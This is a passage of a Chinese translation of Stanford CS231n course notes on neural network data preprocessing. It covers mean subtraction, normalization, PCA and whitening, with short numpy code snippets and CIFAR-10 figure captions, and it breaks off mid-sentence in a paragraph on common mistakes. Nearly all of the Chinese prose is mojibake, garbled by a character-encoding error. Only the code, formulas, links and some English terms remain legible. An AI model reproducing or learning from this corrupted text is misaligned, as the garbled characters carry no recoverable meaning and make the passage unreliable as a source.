**่‡ชๆณจ๏ผš**ๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/21560667?refer=intelligentunit)ๅ‡บๅค„ใ€‚\n\n> **่ฏ‘่€…ๆณจ๏ผš**ๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[Neural Nets notes 2](http://cs231n.github.io/neural-networks-2/)๏ผŒ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆ๏ผŒ[ๅ ƒๅ ƒ](https://www.zhihu.com/people/kun-kun-97-81)่ฟ›่กŒๆ กๅฏนไฟฎๆ”นใ€‚่ฏ‘ๆ–‡ๅซๅ…ฌๅผๅ’Œไปฃ็ ๏ผŒๅปบ่ฎฎPC็ซฏ้˜…่ฏปใ€‚\n\n[TOC]\n\nๅ†…ๅฎนๅˆ—่กจ๏ผš\n\n- ่ฎพ็ฝฎๆ•ฐๆฎๅ’Œๆจกๅž‹\n - ๆ•ฐๆฎ้ข„ๅค„็†\n - ๆƒ้‡ๅˆๅง‹ๅŒ–\n - ๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผˆBatch Normalization๏ผ‰\n - ๆญฃๅˆ™ๅŒ–๏ผˆL2/L1/Maxnorm/Dropout๏ผ‰\n- ๆŸๅคฑๅ‡ฝๆ•ฐ\n- ๅฐ็ป“\n\n## ่ฎพ็ฝฎๆ•ฐๆฎๅ’Œๆจกๅž‹\n\nๅœจไธŠไธ€่Š‚ไธญไป‹็ปไบ†็ฅž็ปๅ…ƒ็š„ๆจกๅž‹๏ผŒๅฎƒๅœจ่ฎก็ฎ—ๅ†…็งฏๅŽ่ฟ›่กŒ้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐ่ฎก็ฎ—๏ผŒ็ฅž็ป็ฝ‘็ปœๅฐ†่ฟ™ไบ›็ฅž็ปๅ…ƒ็ป„็ป‡ๆˆๅ„ไธชๅฑ‚ใ€‚่ฟ™ไบ›ๅšๆณ•ๅ…ฑๅŒๅฎšไน‰ไบ†**่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ๏ผˆscore function๏ผ‰**็š„ๆ–ฐๅฝขๅผ๏ผŒ่ฏฅๅฝขๅผๆ˜ฏไปŽๅ‰้ข็บฟๆ€งๅˆ†็ฑป็ซ ่Š‚ไธญ็š„็ฎ€ๅ•็บฟๆ€งๆ˜ ๅฐ„ๅ‘ๅฑ•่€Œๆฅ็š„ใ€‚ๅ…ทไฝ“ๆฅ่ฏด๏ผŒ<u>็ฅž็ป็ฝ‘็ปœๅฐฑๆ˜ฏ่ฟ›่กŒไบ†ไธ€็ณปๅˆ—็š„็บฟๆ€งๆ˜ ๅฐ„ไธŽ้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐไบค็ป‡็š„่ฟ็ฎ—</u>ใ€‚ๆœฌ่Š‚ๅฐ†่ฎจ่ฎบๆ›ดๅคš็š„็ฎ—ๆณ•่ฎพ่ฎก้€‰้กน๏ผŒๆฏ”ๅฆ‚<u>ๆ•ฐๆฎ้ข„ๅค„็†</u>๏ผŒ<u>ๆƒ้‡ๅˆๅง‹ๅŒ–</u>ๅ’Œ<u>ๆŸๅคฑๅ‡ฝๆ•ฐ</u>ใ€‚\n\n### ๆ•ฐๆฎ้ข„ๅค„็†\n\nๅ…ณไบŽๆ•ฐๆฎ้ข„ๅค„็†ๆˆ‘ไปฌๆœ‰3ไธชๅธธ็”จ็š„็ฌฆๅท๏ผŒๆ•ฐๆฎ็Ÿฉ้˜ต**X**๏ผŒๅ‡่ฎพๅ…ถๅฐบๅฏธๆ˜ฏ**[N x D]**๏ผˆ**N**ๆ˜ฏๆ•ฐๆฎๆ ทๆœฌ็š„ๆ•ฐ้‡๏ผŒ**D**ๆ˜ฏๆ•ฐๆฎ็š„็ปดๅบฆ๏ผ‰ใ€‚\n\n**ๅ‡ๅ€ผๅ‡ๆณ•๏ผˆMean subtraction๏ผ‰**ๆ˜ฏ้ข„ๅค„็†ๆœ€ๅธธ็”จ็š„ๅฝขๅผใ€‚<u>ๅฎƒๅฏนๆ•ฐๆฎไธญๆฏไธช็‹ฌ็ซ‹*็‰นๅพ*ๅ‡ๅŽปๅนณๅ‡ๅ€ผ๏ผŒไปŽๅ‡ ไฝ•ไธŠๅฏไปฅ็†่งฃไธบๅœจๆฏไธช็ปดๅบฆไธŠ้ƒฝๅฐ†ๆ•ฐๆฎไบ‘็š„ไธญๅฟƒ้ƒฝ่ฟ็งปๅˆฐๅŽŸ็‚น</u>ใ€‚ๅœจnumpyไธญ๏ผŒ่ฏฅๆ“ไฝœๅฏไปฅ้€š่ฟ‡ไปฃ็ **X -= np.mean(X, axis=0)**ๅฎž็Žฐใ€‚่€ŒๅฏนไบŽๅ›พๅƒ๏ผŒๆ›ดๅธธ็”จ็š„ๆ˜ฏๅฏนๆ‰€ๆœ‰ๅƒ็ด ้ƒฝๅ‡ๅŽปไธ€ไธชๅ€ผ๏ผŒๅฏไปฅ็”จ**X -= np.mean(X)**ๅฎž็Žฐ๏ผŒไนŸๅฏไปฅๅœจ3ไธช้ขœ่‰ฒ้€š้“ไธŠๅˆ†ๅˆซๆ“ไฝœใ€‚\n\n**ๅฝ’ไธ€ๅŒ–๏ผˆNormalization๏ผ‰**ๆ˜ฏๆŒ‡ๅฐ†ๆ•ฐๆฎ็š„ๆ‰€ๆœ‰็ปดๅบฆ้ƒฝๅฝ’ไธ€ๅŒ–๏ผŒไฝฟๅ…ถๆ•ฐๅ€ผ่Œƒๅ›ด้ƒฝ่ฟ‘ไผผ็›ธ็ญ‰ใ€‚ๆœ‰ไธค็งๅธธ็”จๆ–นๆณ•ๅฏไปฅๅฎž็Žฐๅฝ’ไธ€ๅŒ–ใ€‚็ฌฌไธ€็งๆ˜ฏๅ…ˆๅฏนๆ•ฐๆฎๅš้›ถไธญๅฟƒๅŒ–๏ผˆzero-centered๏ผ‰ๅค„็†๏ผŒ็„ถๅŽๆฏไธช็ปดๅบฆ้ƒฝ้™คไปฅๅ…ถๆ ‡ๅ‡†ๅทฎ๏ผŒๅฎž็Žฐไปฃ็ ไธบ**X /= np.std(X, axis=0)**ใ€‚็ฌฌไบŒ็งๆ–นๆณ•ๆ˜ฏๅฏนๆฏไธช็ปดๅบฆ้ƒฝๅšๅฝ’ไธ€ๅŒ–๏ผŒไฝฟๅพ—ๆฏไธช็ปดๅบฆ็š„ๆœ€ๅคงๅ’Œๆœ€ๅฐๅ€ผๆ˜ฏ1ๅ’Œ-1ใ€‚<u>่ฟ™ไธช้ข„ๅค„็†ๆ“ไฝœๅชๆœ‰ๅœจ็กฎไฟกไธๅŒ็š„่พ“ๅ…ฅ็‰นๅพๆœ‰ไธๅŒ็š„ๆ•ฐๅ€ผ่Œƒๅ›ด๏ผˆๆˆ–่ฎก้‡ๅ•ไฝ๏ผ‰ๆ—ถๆ‰ๆœ‰ๆ„ไน‰๏ผŒไฝ†่ฆๆณจๆ„้ข„ๅค„็†ๆ“ไฝœ็š„้‡่ฆๆ€งๅ‡ ไนŽ็ญ‰ๅŒไบŽๅญฆไน ็ฎ—ๆณ•ๆœฌ่บซ</u>ใ€‚ๅœจๅ›พๅƒๅค„็†ไธญ๏ผŒ็”ฑไบŽๅƒ็ด ็š„ๆ•ฐๅ€ผ่Œƒๅ›ดๅ‡ ไนŽๆ˜ฏไธ€่‡ด็š„๏ผˆ้ƒฝๅœจ0-255ไน‹้—ด๏ผ‰๏ผŒๆ‰€ไปฅ่ฟ›่กŒ่ฟ™ไธช้ขๅค–็š„้ข„ๅค„็†ๆญฅ้ชคๅนถไธๆ˜ฏๅพˆๅฟ…่ฆใ€‚\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82ca773885d.png)\n\nไธ€่ˆฌๆ•ฐๆฎ้ข„ๅค„็†ๆต็จ‹๏ผš**ๅทฆ่พน๏ผš**ๅŽŸๅง‹็š„2็ปด่พ“ๅ…ฅๆ•ฐๆฎใ€‚**ไธญ้—ด๏ผš**ๅœจๆฏไธช็ปดๅบฆไธŠ้ƒฝๅ‡ๅŽปๅนณๅ‡ๅ€ผๅŽๅพ—ๅˆฐ้›ถไธญๅฟƒๅŒ–ๆ•ฐๆฎ๏ผŒ็Žฐๅœจๆ•ฐๆฎไบ‘ๆ˜ฏไปฅๅŽŸ็‚นไธบไธญๅฟƒ็š„ใ€‚**ๅณ่พน๏ผš**ๆฏไธช็ปดๅบฆ้ƒฝ้™คไปฅๅ…ถๆ ‡ๅ‡†ๅทฎๆฅ่ฐƒๆ•ดๅ…ถๆ•ฐๅ€ผ่Œƒๅ›ดใ€‚็บข่‰ฒ็š„็บฟๆŒ‡ๅ‡บไบ†ๆ•ฐๆฎๅ„็ปดๅบฆ็š„ๆ•ฐๅ€ผ่Œƒๅ›ด๏ผŒๅœจไธญ้—ด็š„้›ถไธญๅฟƒๅŒ–ๆ•ฐๆฎ็š„ๆ•ฐๅ€ผ่Œƒๅ›ดไธๅŒ๏ผŒไฝ†ๅœจๅณ่พนๅฝ’ไธ€ๅŒ–ๆ•ฐๆฎไธญๆ•ฐๅ€ผ่Œƒๅ›ด็›ธๅŒใ€‚\n\n---\n\n**PCAๅ’Œ็™ฝๅŒ–๏ผˆWhitening๏ผ‰**ๆ˜ฏๅฆไธ€็ง้ข„ๅค„็†ๅฝขๅผใ€‚ๅœจ่ฟ™็งๅค„็†ไธญ๏ผŒๅ…ˆๅฏนๆ•ฐๆฎ่ฟ›่กŒ้›ถไธญๅฟƒๅŒ–ๅค„็†๏ผŒ็„ถๅŽ่ฎก็ฎ—ๅๆ–นๅทฎ็Ÿฉ้˜ต๏ผŒๅฎƒๅฑ•็คบไบ†ๆ•ฐๆฎไธญ็š„็›ธๅ…ณๆ€ง็ป“ๆž„ใ€‚\n\n```python\n# ๅ‡่ฎพ่พ“ๅ…ฅๆ•ฐๆฎ็Ÿฉ้˜ตX็š„ๅฐบๅฏธไธบ[N x D]\nX -= np.mean(X, axis = 0) # ๅฏนๆ•ฐๆฎ่ฟ›่กŒ้›ถไธญๅฟƒๅŒ–(้‡่ฆ)\ncov = np.dot(X.T, X) / X.shape[0] # ๅพ—ๅˆฐๆ•ฐๆฎ็š„ๅๆ–นๅทฎ็Ÿฉ้˜ต\n```\n\nๆ•ฐๆฎๅๆ–นๅทฎ็Ÿฉ้˜ต็š„็ฌฌ(i, j)ไธชๅ…ƒ็ด ๆ˜ฏๆ•ฐๆฎ็ฌฌiไธชๅ’Œ็ฌฌjไธช็ปดๅบฆ็š„*ๅๆ–นๅทฎ*ใ€‚ๅ…ทไฝ“ๆฅ่ฏด๏ผŒ่ฏฅ็Ÿฉ้˜ต็š„ๅฏน่ง’็บฟไธŠ็š„ๅ…ƒ็ด ๆ˜ฏๆ–นๅทฎใ€‚่ฟ˜ๆœ‰๏ผŒๅๆ–นๅทฎ็Ÿฉ้˜ตๆ˜ฏๅฏน็งฐๅ’Œ[ๅŠๆญฃๅฎš](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Positive-definite_matrix%23Negative-definite.2C_semidefinite_and_indefinite_matrices)็š„ใ€‚ๆˆ‘ไปฌๅฏไปฅๅฏนๆ•ฐๆฎๅๆ–นๅทฎ็Ÿฉ้˜ต่ฟ›่กŒSVD๏ผˆๅฅ‡ๅผ‚ๅ€ผๅˆ†่งฃ๏ผ‰่ฟ็ฎ—ใ€‚\n\n```python\nU,S,V = np.linalg.svd(cov)\n```\n\nU็š„ๅˆ—ๆ˜ฏ็‰นๅพๅ‘้‡๏ผŒSๆ˜ฏ่ฃ…ๆœ‰ๅฅ‡ๅผ‚ๅ€ผ็š„1็ปดๆ•ฐ็ป„๏ผˆๅ› ไธบcovๆ˜ฏๅฏน็งฐไธ”ๅŠๆญฃๅฎš็š„๏ผŒๆ‰€ไปฅSไธญๅ…ƒ็ด ๆ˜ฏ็‰นๅพๅ€ผ็š„ๅนณๆ–น๏ผ‰ใ€‚ไธบไบ†ๅŽป้™คๆ•ฐๆฎ็›ธๅ…ณๆ€ง๏ผŒๅฐ†ๅทฒ็ป้›ถไธญๅฟƒๅŒ–ๅค„็†่ฟ‡็š„ๅŽŸๅง‹ๆ•ฐๆฎๆŠ•ๅฝฑๅˆฐ็‰นๅพๅŸบๅ‡†ไธŠ๏ผš\n\n```python\nXrot = np.dot(X,U) # ๅฏนๆ•ฐๆฎๅŽป็›ธๅ…ณๆ€ง\n```\n\nๆณจๆ„U็š„ๅˆ—ๆ˜ฏๆ ‡ๅ‡†ๆญฃไบคๅ‘้‡็š„้›†ๅˆ๏ผˆ่Œƒๅผไธบ1๏ผŒๅˆ—ไน‹้—ดๆ ‡ๅ‡†ๆญฃไบค๏ผ‰๏ผŒๆ‰€ไปฅๅฏไปฅๆŠŠๅฎƒไปฌ็œ‹ๅšๆ ‡ๅ‡†ๆญฃไบคๅŸบๅ‘้‡ใ€‚ๅ› ๆญค๏ผŒๆŠ•ๅฝฑๅฏนๅบ”xไธญ็š„ๆ•ฐๆฎ็š„ไธ€ไธชๆ—‹่ฝฌ๏ผŒๆ—‹่ฝฌไบง็”Ÿ็š„็ป“ๆžœๅฐฑๆ˜ฏๆ–ฐ็š„็‰นๅพๅ‘้‡ใ€‚ๅฆ‚ๆžœ่ฎก็ฎ—**Xrot**็š„ๅๆ–นๅทฎ็Ÿฉ้˜ต๏ผŒๅฐ†ไผš็œ‹ๅˆฐๅฎƒๆ˜ฏๅฏน่ง’ๅฏน็งฐ็š„ใ€‚**np.linalg.svd**็š„ไธ€ไธช่‰ฏๅฅฝๆ€ง่ดจๆ˜ฏๅœจๅฎƒ็š„่ฟ”ๅ›žๅ€ผ**U**ไธญ๏ผŒ็‰นๅพๅ‘้‡ๆ˜ฏๆŒ‰็…ง็‰นๅพๅ€ผ็š„ๅคงๅฐๆŽ’ๅˆ—็š„ใ€‚ๆˆ‘ไปฌๅฏไปฅๅˆฉ็”จ่ฟ™ไธชๆ€ง่ดจๆฅๅฏนๆ•ฐๆฎ้™็ปด๏ผŒๅช่ฆไฝฟ็”จๅ‰้ข็š„ๅฐ้ƒจๅˆ†็‰นๅพๅ‘้‡๏ผŒไธขๅผƒๆŽ‰้‚ฃไบ›ๅŒ…ๅซ็š„ๆ•ฐๆฎๆฒกๆœ‰**ๆ–นๅทฎ**็š„็ปดๅบฆใ€‚ ่ฟ™ไธชๆ“ไฝœไนŸ่ขซ็งฐไธบไธปๆˆๅˆ†ๅˆ†ๆž๏ผˆ [Principal Component Analysis](http://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Principal_component_analysis) ็ฎ€็งฐPCA๏ผ‰้™็ปด๏ผš\n\n```python\nXrot_reduced = np.dot(X, U[:,:100]) # Xrot_reduced ๅ˜ๆˆ [N x 100]\n```\n\n็ป่ฟ‡ไธŠ้ข็š„ๆ“ไฝœ๏ผŒๅฐ†ๅŽŸๅง‹็š„ๆ•ฐๆฎ้›†็š„ๅคงๅฐ็”ฑ[N x D]้™ๅˆฐไบ†[N x 100]๏ผŒ็•™ไธ‹ไบ†ๆ•ฐๆฎไธญๅŒ…ๅซๆœ€ๅคง**ๆ–นๅทฎ**็š„100ไธช็ปดๅบฆใ€‚้€šๅธธไฝฟ็”จPCA้™็ปด่ฟ‡็š„ๆ•ฐๆฎ่ฎญ็ปƒ็บฟๆ€งๅˆ†็ฑปๅ™จๅ’Œ็ฅž็ป็ฝ‘็ปœไผš่พพๅˆฐ้žๅธธๅฅฝ็š„ๆ€ง่ƒฝๆ•ˆๆžœ๏ผŒๅŒๆ—ถ่ฟ˜่ƒฝ่Š‚็œๆ—ถ้—ดๅ’Œๅญ˜ๅ‚จๅ™จ็ฉบ้—ดใ€‚\n\nๆœ€ๅŽไธ€ไธชๅœจๅฎž่ทตไธญไผš็œ‹่ง็š„ๅ˜ๆขๆ˜ฏ**็™ฝๅŒ–๏ผˆwhitening๏ผ‰**ใ€‚็™ฝๅŒ–ๆ“ไฝœ็š„่พ“ๅ…ฅๆ˜ฏ็‰นๅพๅŸบๅ‡†ไธŠ็š„ๆ•ฐๆฎ๏ผŒ็„ถๅŽๅฏนๆฏไธช็ปดๅบฆ้™คไปฅๅ…ถ็‰นๅพๅ€ผๆฅๅฏนๆ•ฐๅ€ผ่Œƒๅ›ด่ฟ›่กŒๅฝ’ไธ€ๅŒ–ใ€‚่ฏฅๅ˜ๆข็š„ๅ‡ ไฝ•่งฃ้‡Šๆ˜ฏ๏ผšๅฆ‚ๆžœๆ•ฐๆฎๆœไปŽๅคšๅ˜้‡็š„้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผŒ้‚ฃไนˆ็ป่ฟ‡็™ฝๅŒ–ๅŽ๏ผŒๆ•ฐๆฎ็š„ๅˆ†ๅธƒๅฐ†ไผšๆ˜ฏไธ€ไธชๅ‡ๅ€ผไธบ้›ถ๏ผŒไธ”ๅๆ–นๅทฎ็›ธ็ญ‰็š„็Ÿฉ้˜ตใ€‚่ฏฅๆ“ไฝœ็š„ไปฃ็ ๅฆ‚ไธ‹๏ผš\n\n```python\n# ๅฏนๆ•ฐๆฎ่ฟ›่กŒ็™ฝๅŒ–ๆ“ไฝœ:\n# ้™คไปฅ็‰นๅพๅ€ผ \nXwhite = Xrot / np.sqrt(S + 1e-5)\n```\n\n*่ญฆๅ‘Š๏ผšๅคธๅคง็š„ๅ™ชๅฃฐ*ใ€‚ๆณจๆ„ๅˆ†ๆฏไธญๆทปๅŠ ไบ†1e-5๏ผˆๆˆ–ไธ€ไธชๆ›ดๅฐ็š„ๅธธ้‡๏ผ‰ๆฅ้˜ฒๆญขๅˆ†ๆฏไธบ0ใ€‚่ฏฅๅ˜ๆข็š„ไธ€ไธช็ผบ้™ทๆ˜ฏๅœจๅ˜ๆข็š„่ฟ‡็จ‹ไธญๅฏ่ƒฝไผšๅคธๅคงๆ•ฐๆฎไธญ็š„ๅ™ชๅฃฐ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅฎƒๅฐ†ๆ‰€ๆœ‰็ปดๅบฆ้ƒฝๆ‹‰ไผธๅˆฐ็›ธๅŒ็š„ๆ•ฐๅ€ผ่Œƒๅ›ด๏ผŒ่ฟ™ไบ›็ปดๅบฆไธญไนŸๅŒ…ๅซไบ†้‚ฃไบ›ๅชๆœ‰ๆžๅฐ‘ๅทฎๅผ‚ๆ€ง(ๆ–นๅทฎๅฐ)่€Œๅคงๅคšๆ˜ฏๅ™ชๅฃฐ็š„็ปดๅบฆใ€‚ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒ่ฟ™ไธช้—ฎ้ข˜ๅฏไปฅ็”จๆ›ดๅผบ็š„ๅนณๆป‘ๆฅ่งฃๅ†ณ๏ผˆไพ‹ๅฆ‚๏ผš้‡‡็”จๆฏ”1e-5ๆ›ดๅคง็š„ๅ€ผ๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82ca8831141.png)\n\nPCA/็™ฝๅŒ–ใ€‚**ๅทฆ่พน**ๆ˜ฏไบŒ็ปด็š„ๅŽŸๅง‹ๆ•ฐๆฎใ€‚**ไธญ้—ด**๏ผš็ป่ฟ‡PCAๆ“ไฝœ็š„ๆ•ฐๆฎใ€‚ๅฏไปฅ็œ‹ๅ‡บๆ•ฐๆฎ้ฆ–ๅ…ˆๆ˜ฏ้›ถไธญๅฟƒ็š„๏ผŒ็„ถๅŽๅ˜ๆขๅˆฐไบ†ๆ•ฐๆฎๅๆ–นๅทฎ็Ÿฉ้˜ต็š„ๅŸบๅ‡†่ฝดไธŠใ€‚่ฟ™ๆ ทๅฐฑๅฏนๆ•ฐๆฎ่ฟ›่กŒไบ†่งฃ็›ธๅ…ณ๏ผˆๅๆ–นๅทฎ็Ÿฉ้˜ตๅ˜ๆˆๅฏน่ง’้˜ต๏ผ‰ใ€‚**ๅณ่พน**๏ผšๆฏไธช็ปดๅบฆ้ƒฝ่ขซ็‰นๅพๅ€ผ่ฐƒๆ•ดๆ•ฐๅ€ผ่Œƒๅ›ด๏ผŒๅฐ†ๆ•ฐๆฎๅๆ–นๅทฎ็Ÿฉ้˜ตๅ˜ไธบๅ•ไฝ็Ÿฉ้˜ตใ€‚ไปŽๅ‡ ไฝ•ไธŠ็œ‹๏ผŒๅฐฑๆ˜ฏๅฏนๆ•ฐๆฎๅœจๅ„ไธชๆ–นๅ‘ไธŠๆ‹‰ไผธๅŽ‹็ผฉ๏ผŒไฝฟไน‹ๅ˜ๆˆๆœไปŽ้ซ˜ๆ–ฏๅˆ†ๅธƒ็š„ไธ€ไธชๆ•ฐๆฎ็‚นๅˆ†ๅธƒใ€‚\n\n---\n\nๆˆ‘ไปฌๅฏไปฅไฝฟ็”จCIFAR-10ๆ•ฐๆฎๅฐ†่ฟ™ไบ›ๅ˜ๅŒ–ๅฏ่ง†ๅŒ–ๅ‡บๆฅใ€‚CIFAR-10่ฎญ็ปƒ้›†็š„ๅคงๅฐๆ˜ฏ50000x3072๏ผŒๅ…ถไธญๆฏๅผ ๅ›พ็‰‡้ƒฝๅฏไปฅๆ‹‰ไผธไธบ3072็ปด็š„่กŒๅ‘้‡ใ€‚ๆˆ‘ไปฌๅฏไปฅ่ฎก็ฎ—[3072 x 3072]็š„ๅๆ–นๅทฎ็Ÿฉ้˜ต็„ถๅŽ่ฟ›่กŒๅฅ‡ๅผ‚ๅ€ผๅˆ†่งฃ๏ผˆๆฏ”่พƒ่€—่ดน่ฎก็ฎ—ๆ€ง่ƒฝ๏ผ‰๏ผŒ้‚ฃไนˆ็ป่ฟ‡่ฎก็ฎ—็š„็‰นๅพๅ‘้‡็œ‹่ตทๆฅๆ˜ฏไป€ไนˆๆ ทๅญๅ‘ข๏ผŸ\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82ca9e96251.png)\n\n**ๆœ€ๅทฆ**๏ผšไธ€ไธช็”จไบŽๆผ”็คบ็š„้›†ๅˆ๏ผŒๅซ49ๅผ ๅ›พ็‰‡ใ€‚**ๅทฆไบŒ**๏ผš3072ไธช็‰นๅพๅ€ผๅ‘้‡ไธญ็š„ๅ‰144ไธชใ€‚้ ๅ‰้ข็š„็‰นๅพๅ‘้‡่งฃ้‡Šไบ†ๆ•ฐๆฎไธญๅคง้ƒจๅˆ†็š„ๆ–นๅทฎ๏ผŒๅฏไปฅ็œ‹่งๅฎƒไปฌไธŽๅ›พๅƒไธญ่พƒไฝŽ็š„้ข‘็Ž‡็›ธๅ…ณใ€‚**็ฌฌไธ‰ๅผ **ๆ˜ฏ49ๅผ ็ป่ฟ‡ไบ†PCA้™็ปดๅค„็†็š„ๅ›พ็‰‡๏ผŒๅฑ•็คบไบ†144ไธช็‰นๅพๅ‘้‡ใ€‚่ฟ™ๅฐฑๆ˜ฏ่ฏด๏ผŒๅฑ•็คบๅŽŸๅง‹ๅ›พๅƒๆ˜ฏๆฏไธชๅ›พๅƒ็”จ3072็ปด็š„ๅ‘้‡๏ผŒๅ‘้‡ไธญ็š„ๅ…ƒ็ด ๆ˜ฏๅ›พ็‰‡ไธŠๆŸไธชไฝ็ฝฎ็š„ๅƒ็ด ๅœจๆŸไธช้ขœ่‰ฒ้€š้“ไธญ็š„ไบฎๅบฆๅ€ผใ€‚่€Œ็Žฐๅœจๆฏๅผ ๅ›พ็‰‡ๅชไฝฟ็”จไบ†ไธ€ไธช144็ปด็š„ๅ‘้‡๏ผŒๅ…ถไธญๆฏไธชๅ…ƒ็ด ่กจ็คบไบ†็‰นๅพๅ‘้‡ๅฏนไบŽ็ป„ๆˆ่ฟ™ๅผ ๅ›พ็‰‡็š„่ดก็Œฎๅบฆใ€‚ไธบไบ†่ฎฉๅ›พ็‰‡่ƒฝๅคŸๆญฃๅธธๆ˜พ็คบ๏ผŒ้œ€่ฆๅฐ†144็ปดๅบฆ้‡ๆ–ฐๅ˜ๆˆๅŸบไบŽๅƒ็ด ๅŸบๅ‡†็š„3072ไธชๆ•ฐๅ€ผใ€‚ๅ› ไธบUๆ˜ฏไธ€ไธชๆ—‹่ฝฌ๏ผŒๅฏไปฅ้€š่ฟ‡ไน˜ไปฅU.transpose()[:144,:]ๆฅๅฎž็Žฐ๏ผŒ็„ถๅŽๅฐ†ๅพ—ๅˆฐ็š„3072ไธชๆ•ฐๅ€ผๅฏ่ง†ๅŒ–ใ€‚ๅฏไปฅ็œ‹่งๅ›พๅƒๅ˜ๅพ—ๆœ‰็‚นๆจก็ณŠไบ†๏ผŒ่ฟ™ๆญฃๅฅฝ่ฏดๆ˜Žๅ‰้ข็š„็‰นๅพๅ‘้‡่Žทๅ–ไบ†่พƒไฝŽ็š„้ข‘็Ž‡ใ€‚็„ถ่€Œ๏ผŒๅคงๅคšๆ•ฐไฟกๆฏ่ฟ˜ๆ˜ฏไฟ็•™ไบ†ไธ‹ๆฅใ€‚**ๆœ€ๅณ**๏ผšๅฐ†โ€œ็™ฝๅŒ–โ€ๅŽ็š„ๆ•ฐๆฎ่ฟ›่กŒๆ˜พ็คบใ€‚ๅ…ถไธญ144ไธช็ปดๅบฆไธญ็š„ๆ–นๅทฎ้ƒฝ่ขซๅŽ‹็ผฉๅˆฐไบ†็›ธๅŒ็š„ๆ•ฐๅ€ผ่Œƒๅ›ดใ€‚็„ถๅŽ144ไธช็™ฝๅŒ–ๅŽ็š„ๆ•ฐๅ€ผ้€š่ฟ‡ไน˜ไปฅU.transpose()[:144,:]่ฝฌๆขๅˆฐๅ›พๅƒๅƒ็ด ๅŸบๅ‡†ไธŠใ€‚็Žฐๅœจ่พƒไฝŽ็š„้ข‘็Ž‡๏ผˆไปฃ่กจไบ†ๅคงๅคšๆ•ฐๆ–นๅทฎ๏ผ‰ๅฏไปฅๅฟฝ็•ฅไธ่ฎกไบ†๏ผŒ่พƒ้ซ˜็š„้ข‘็Ž‡๏ผˆไปฃ่กจ็›ธๅฏนๅฐ‘็š„ๆ–นๅทฎ๏ผ‰ๅฐฑ่ขซๅคธๅคงไบ†ใ€‚\n\n---\n\n**ๅฎž่ทตๆ“ไฝœใ€‚**ๅœจ่ฟ™ไธช็ฌ”่ฎฐไธญๆๅˆฐPCAๅ’Œ็™ฝๅŒ–ไธป่ฆๆ˜ฏไธบไบ†ไป‹็ป็š„ๅฎŒๆ•ดๆ€ง๏ผŒๅฎž้™…ไธŠๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญๅนถไธไผš้‡‡็”จ่ฟ™ไบ›ๅ˜ๆขใ€‚็„ถ่€Œๅฏนๆ•ฐๆฎ่ฟ›่กŒ้›ถไธญๅฟƒๅŒ–ๆ“ไฝœ่ฟ˜ๆ˜ฏ้žๅธธ้‡่ฆ็š„๏ผŒๅฏนๆฏไธชๅƒ็ด ่ฟ›่กŒๅฝ’ไธ€ๅŒ–ไนŸๅพˆๅธธ่งใ€‚\n\n**ๅธธ่ง้”™่ฏฏใ€‚**่ฟ›่กŒ้ข„ๅค„็†ๅพˆ้‡่ฆ็š„ไธ€็‚นๆ˜ฏ๏ผšไปปไฝ•้ข„ๅค„็†็ญ–็•ฅ๏ผˆๆฏ”ๅฆ‚ๆ•ฐๆฎๅ‡ๅ€ผ๏ผ‰้ƒฝๅช่ƒฝๅœจ่ฎญ็ปƒ้›†ๆ•ฐๆฎไธŠ่ฟ›่กŒ่ฎก็ฎ—๏ผŒ็ฎ—ๆณ•่ฎญ็ปƒๅฎŒๆฏ•ๅŽๅ†ๅบ”็”จๅˆฐ้ชŒ่ฏ้›†ๆˆ–่€…ๆต‹่ฏ•้›†ไธŠใ€‚ไพ‹ๅฆ‚๏ผŒๅฆ‚ๆžœๅ…ˆ่ฎก็ฎ—ๆ•ดไธชๆ•ฐๆฎ้›†ๅ›พๅƒ็š„ๅนณๅ‡ๅ€ผ็„ถๅŽๆฏๅผ 